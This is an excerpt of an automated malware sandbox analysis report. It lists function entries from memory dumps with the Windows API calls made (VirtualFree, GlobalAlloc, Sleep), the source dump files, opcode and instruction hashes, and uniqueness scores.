                                                                                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0a52c66d88b880d98b7fc799504e51c4f292b7e1a960938c0970bd946e452257
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 57E07E7990020CAFCF01EF98D94589DBBB5EB48210F00819AED14A6310D6319A60EB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 15 39a3b54-39a3b80 call 39a3714 VirtualFree
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualFree.KERNELBASE(?,?,?), ref: 039A3B74
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303532264.00000000039A3000.00000040.00000040.sdmp, Offset: 039A3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction ID: afebd89284caeeeb2e7d19e0db5c3a12cf946dac512dcd6b570350326dda212d
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69E02679D0020CFFCF05DF98D94599DBBB5EF58211F108199ED1497320D6319A60DF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 12 39a0930-39a095c call 39a06e0 VirtualFree
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualFree.KERNELBASE(?,?,?), ref: 039A0950
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303526746.00000000039A0000.00000040.00000040.sdmp, Offset: 039A0000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a0000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction ID: 05558977e7f1ff760c330aac10f276399d667361412572dfa5e311389a1784c7
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0FE00279D0020CEF8B05EF98D94599DBBB5EB58210F108199ED1497310D6319A60DB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 21 39a3a94-39a3abd call 39a3714 GlobalAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • GlobalAlloc.KERNELBASE(?,?), ref: 039A3AB1
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303532264.00000000039A3000.00000040.00000040.sdmp, Offset: 039A3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocGlobal
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3761449716-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction ID: a1a6092d733a97b29a32abf23341e14cb11fa225d66d10d0a6209f3e6a11132b
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AFE02D79D0020CAF8B40EFA8D54589CFBB5EB48211F1081AAEC58A7310E631AA64DF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 18 39a08d0-39a08f9 call 39a06e0 GlobalAlloc
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • GlobalAlloc.KERNELBASE(?,?), ref: 039A08ED
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303526746.00000000039A0000.00000040.00000040.sdmp, Offset: 039A0000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a0000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocGlobal
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3761449716-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction ID: 2feed25de9946c8915a9d36dab1e4cfec9038c6dc453d0cff7dc1beaf3ea47a9
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CEE02D79D0020CAF8B40EFA8D54589DFBB5EB48210F1081AAEC58A7310E631AA64DB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 24 39a3a24-39a3a44 call 39a3714 Sleep
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 0000000D.00000002.303532264.00000000039A3000.00000040.00000040.sdmp, Offset: 039A3000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_13_2_39a3000_8e7b5.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 372bc6619268a878d4b3fc93414ed148e037412978fb5bf47e3480a05a774b25
                                                                                                                                                                                                                                                                                                      • Instruction ID: cd0e681b0be3a37082e257b425bd4d6acad83011e5187e8988c593624a61764e
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 372bc6619268a878d4b3fc93414ed148e037412978fb5bf47e3480a05a774b25
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69D0C979D0020CEF8B04EFA8D94689CFFB4EF44211F1081AAEC0457310EA316E64DBA1
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Non-executed Functions